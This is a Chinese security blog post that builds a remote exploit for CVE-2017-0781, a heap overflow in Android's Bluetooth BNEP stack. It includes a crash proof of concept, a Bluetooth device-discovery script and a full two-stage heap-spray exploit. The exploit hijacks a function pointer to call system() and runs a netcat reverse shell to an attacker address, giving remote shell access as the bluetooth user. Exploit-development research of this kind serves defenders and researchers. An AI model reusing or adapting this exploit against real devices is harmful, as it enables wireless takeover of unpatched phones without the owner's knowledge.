Android蓝牙远程命令执行漏洞利用实践:从PoC到Exploit Secer's Blog

来源：先知安全技术社区
作者：thor@MS509Team

CVE-2017-0781是最近爆出的 Android 蓝牙栈的严重漏洞，允许攻击者远程获取Android手机的命令执行权限，危害相当大。armis 给出的文档[1]中详细介绍了该漏洞的成因，但是并没有给出 PoC 和 Exploit，我们只好根据文档中的介绍自己摸索尝试编写 Exploit。

0x00 测试环境

Android 手机: Nexus 6p
Android 系统版本: android 7.0 userdebug
Ubuntu 16 + USB 蓝牙适配器

为了调试方便，nexus 6p 刷了自己编译的 AOSP 7.0 userdebug 版本。

0x01 漏洞原理

CVE-2017-0781是一个堆溢出漏洞，漏洞位置在bnep\_data\_ind函数中，如下所示：

p\_bcb->p\_pending\_data指向申请的堆内存空间，但是memcpy的时候目的地址却是p\_bcb->p\_pending\_data + 1，复制内存时目的地址往后扩展了sizeof(p\_pending\_data)字节，导致堆溢出。p\_pending\_data指向的是一个8个字节的结构体BT\_HDR，所以这里将会导致8个字节的堆溢出。

该漏洞看上去十分明显，但是由于这是蓝牙bnep协议的扩展部分，所以估计测试都没覆盖到。

0x02 PoC编写

该漏洞是蓝牙协议栈中 BNEP 协议处理时出现的漏洞，因此 PoC 的编写就是要向 Android 手机发送伪造的 bnep 协议包就行了。我们这里使用 pybluez 实现蓝牙发包，可以直接在 Ubutnu 上通过 pip 安装。armis 的文档中给出了触发漏洞的 bnep 协议包格式：

PoC如下所示：

    import bluetooth,sys

    def poc(target):

        pkt = '\x81\x01\x00'+ '\x41'*8 

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(1000):

            sock.send(pkt)
            data = sock.recv(1024)

        sock.close()

    if __name__ == "__main__":

       if len(sys.argv) < 2:
          print 'No target specified.'
          sys.exit()

       target = sys.argv[1]
       poc(target)

简单说明一下 PoC 程序，我们首先通过BluetoothSocket建立与对方的L2CAP连接，类比于我们熟悉的TCP连接，然后我们在建立的L2CAP连接之上向对方发送bnep协议数据包，类比于建立TCP连接后发送的应用层数据包，而包的格式就是前面介绍的内容。我们知道触发漏洞后会覆盖堆中的内容，那么我们 PoC 的效果就是会用8个字节"A"覆盖堆中的某些数据。我们通过发送1000个构造的畸形数据包到对方，那么极有可能这其中就会覆盖到某些重要数据，导致蓝牙服务程序发生内存访问错误崩溃。

运行PoC:
>python poc.py <target>

其中 target 是目标手机的蓝牙 MAC 地址，类似于 wifi 的 MAC 地址。PoC 编写好后我们可以开始测试了，首先打开手机的蓝牙，然后我们在 Ubuntu 上运行以下脚本来查找附近的蓝牙设备：

    import bluetooth

    nearby_devices = bluetooth.discover_devices(lookup_names=True)
    print("found %d devices" % len(nearby_devices))

    for addr, name in nearby_devices:
        print("  %s - %s" % (addr, name))

运行结果如下：

发现的 AOSP 蓝牙设备就是我们的测试手机。直接运行 PoC，并通过 adb logcat 查看测试手机的日志：

可以看到我们的 PoC 直接远程让手机上的蓝牙服务崩溃，并且寄存器中出现了我们指定的内容，说明我们成功实现了堆溢出，覆盖了堆中的某些数据，导致蓝牙服务程序出现内存访问错误。至此，我们的 PoC 已经实现了远程使 android 手机蓝牙功能拒绝服务，下一步就是从堆溢出到获取命令执行权限的过程。

0x03 Exploit 编写

Android 使用的是 jemalloc 来管理堆内存，分配堆内存的时候内存块之间是没有元数据的，因此无法使用 ptmalloc 中覆盖元数据的漏洞利用方法。我们也是刚开始接触 jemalloc，参考了[2]中的漏洞利用方法，发现由于该漏洞只能溢出8个字节的限制，似乎都不太好用。摸索好久最后发现只有期望于能够覆盖堆中的某些数据结构，而这些结构包含函数指针，从而获取代码执行权限。

我们知道 jemalloc 使用 run 来管理堆内存块，相同大小的堆内存在同一个 run 中挨着存放。因此，只要我们构造与目标数据结构相同大小的内存块，那么通过大量堆喷，则极有可能覆盖掉目标数据结构的前8个字节。该漏洞有一个优势就是我们可以控制申请的内存块大小，那么理论上我们就可以覆盖堆上绝大部分数据结构。

经过我们不断调试和测试，我们发现当我们申请的内存大小为32字节时，通过大量堆喷，我们可以覆盖fixed\_queue\_t数据结构的前8个字节，而该数据结构被蓝牙协议栈频繁使用：

    typedef struct fixed_queue_t {
      list_t* list;
      semaphore_t* enqueue_sem;
      semaphore_t* dequeue_sem;
      std::mutex* mutex;
      size_t capacity;

      reactor_object_t* dequeue_object;
      fixed_queue_cb dequeue_ready;
      void* dequeue_context;
    } fixed_queue_t;

我们覆盖的8个字节刚好能够覆盖 list 指针，list 结构体如下：

    typedef struct list_t {
      list_node_t* head;
      list_node_t* tail;
      size_t length;
      list_free_cb free_cb;
      const allocator_t* allocator;
    } list_t;

可以看到该结构体包含一个list\_free\_cb类型的变量，而该类型恰好为一个函数指针：

typedef void (list_free_cb)(void data);

那么我们的一种漏洞利用思路就有了，就是首先通过堆喷覆盖fixed\_queue\_t前8个字节，控制 list 指针指向我们伪造的list\_t结构体，从而控制free\_cb的值，达到劫持pc的目的。当我们伪造的free\_cb被调用的时候，那么进程的执行就会被我们控制。我们通过查看bt/osi/src下的源文件发现free\_cb会在list\_free\_node\_函数中被调用：

    static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
      CHECK(list != NULL);
      CHECK(node != NULL);

      list_node_t* next = node->next;

      if (list->free_cb) list->free_cb(node->data);
      list->allocator->free(node);
      --list->length;

      return next;
    }

我们继续查看调用，找到了一条触发的调用链：

fixed_queue_try_enqueue-->list_remove-->list_freenode->free_cb

而fixed\_queue\_try\_enqueue会在蓝牙栈的协议处理时用到，所以只要我们能控制list_t结构体，就能劫持蓝牙进程的执行。

接下来我们需要找到伪造list_t结构体的办法。我们首先可以假设我们通过大量堆喷，在堆中放置了很多我们伪造的list_t结构体，并且通过堆喷使得某已知堆地址addr_A恰好放置了我们伪造的一个list_t结构体，那么我们只需再通过堆喷来覆盖fixed_queue_t结构体的前8个字节，包内容如下所示：

pkt = '\x81\x01\x00'+ struct.pack('<I', addr_A) * 8

通过这种覆盖，我们成功使得fixed\_queue\_t中的list指针指向我们伪造的list\_t结构体，那么free_cb的执行将使我们成功劫持进程执行。

由上述可知，这种利用方法需要两次对喷，第一次先在堆中放置大量的list_t结构体，第二次再通过堆喷去溢出fixed\_queue\_t结构体。这里有一个难点就是第二次堆喷必须知道一个固定的堆地址，而这个地址需要第一次堆喷去覆盖到。一种方法是根据jemalloc的分配规则去爆破，另一种就是根据jemalloc分配规律硬编码一个地址。为了简单起见，我们使用第二种方法。我们第一次堆喷时选择堆块的大小为96字节，首先通过gdb调试观察jemalloc的分配：

我们多次调试发现，蓝牙进程每次重启后总有0xe6790000这条run是分配的96字节大小，那么我们可以选取这条 run 靠后的某个 region 作为我们的addr_A，这里我们选取0xe6792a00这个 region`：

还有一个问题就是由于堆喷的时候每个 region 的前8个字节可能会被覆盖掉，所以这里我们在放置伪造的list\_t结构体时需要往后点，所以我们得到选取的addr\_A为:

addr_A =  0xe6792a00 + 8

接下来我们开始构造list\_t结构体，如下图所示：

如果一切顺利，那么通过两次堆喷，我们将会劫持到 PC，而蓝牙进程会在0x41414141处崩溃，测试过程这里不再演示，我们继续下一步。顺利劫持 PC 后，我们怎样能执行 shellcode 呢？一种复杂的方式是stack pivot + ROP + shellcode，另一种简单的就是 ret2libc，直接跳转到 libc 中的 system 函数，我们只需提前构造好参数就行了。

我们调试和测试发现，当我们劫持 pc 执行 system 函数的时候，r0寄存器负责传递命令字符串参数地址，正好指向我们控制的list->head->data，因此我们只要构造好该参数即可。最终构造好的结构如下所示：

为了防止进程意外崩溃，我们还原了list\_t结构体中的allocator\_t结构体，包含了osi中堆分配和回收的函数地址。这里用到的3个函数地址system、osi\_alloc、osi\_free都可以通过CVE-2017-0785的信息泄露漏洞获取到。

通过以上分析，我们可以得到第一次堆喷所发送的数据包内容：

pkt = '\x81\x01\x00'+  p32(addr_A+0x20 )2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A + 0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str))

综上所述，我们可以得到 exploit 脚本：

    from pwn import *
    import bluetooth,time

    addr_A = 0xe6792a00 + 8

    cmd_str = "busybox nc 192.168.2.1 8088 -e /system/bin/sh &" + '\x00'

    libc_base = 0xf34cf000
    system_addr = libc_base + 0x64a30 + 1

    bluetooth_base_addr = 0xeb901000
    osi_alloc_addr = bluetooth_base_addr + 0x15b885
    osi_free_addr = bluetooth_base_addr + 0x15b8e5

    pkt1 = '\x81\x01\x00'+  p32(addr_A+0x20)*2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A+0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'*8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str)) 

    pkt2 = '\x81\x01\x00'+ p32(addr_A) * 8

    def heap_spray():

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(500):

            sock.send(pkt1)
            data = sock.recv(1024)

        sock.close()

    def heap_overflow():

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(3000):

            sock.send(pkt2)
            data = sock.recv(1024)

        sock.close()


    if __name__ == "__main__":

         if len(sys.argv) < 2:
            print 'No target specified.'
            sys.exit()

         target = sys.argv[1]

         print "start heap spray"
         heap_spray()

         time.sleep(10)

         print "start heap overflow"
         heap_overflow()

脚本中libc.so和bluetooth.default.so的加载基址可由信息泄露漏洞获得，这里我们直接给出。脚本中通过system函数执行的是通过 nc 反弹 shell 的命令，我们首先在本地通过 nc 监听 8088 端口，然后运行 exploit 脚本如下：

如果两次堆喷都成功的话，我们可以在本地得到反弹的 shell，用户为 bluetooth:

一般情况下执行3到5次 exploit 就能成功反弹 shell。

0x04 总结

本文研究了 Android 蓝牙栈的远程命令执行漏洞 CVE-2017-0781，探索了从 PoC 到编写 exploit 的过程，算是比较顺利地写出了 exploit，还有一点缺陷就是堆中固定地址addr_A的获取，现在暂时只能根据不同手机硬编码。欢迎大家一起研究探讨！

参考文献：

[1] http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf

[2] http://phrack.org/issues/68/10.html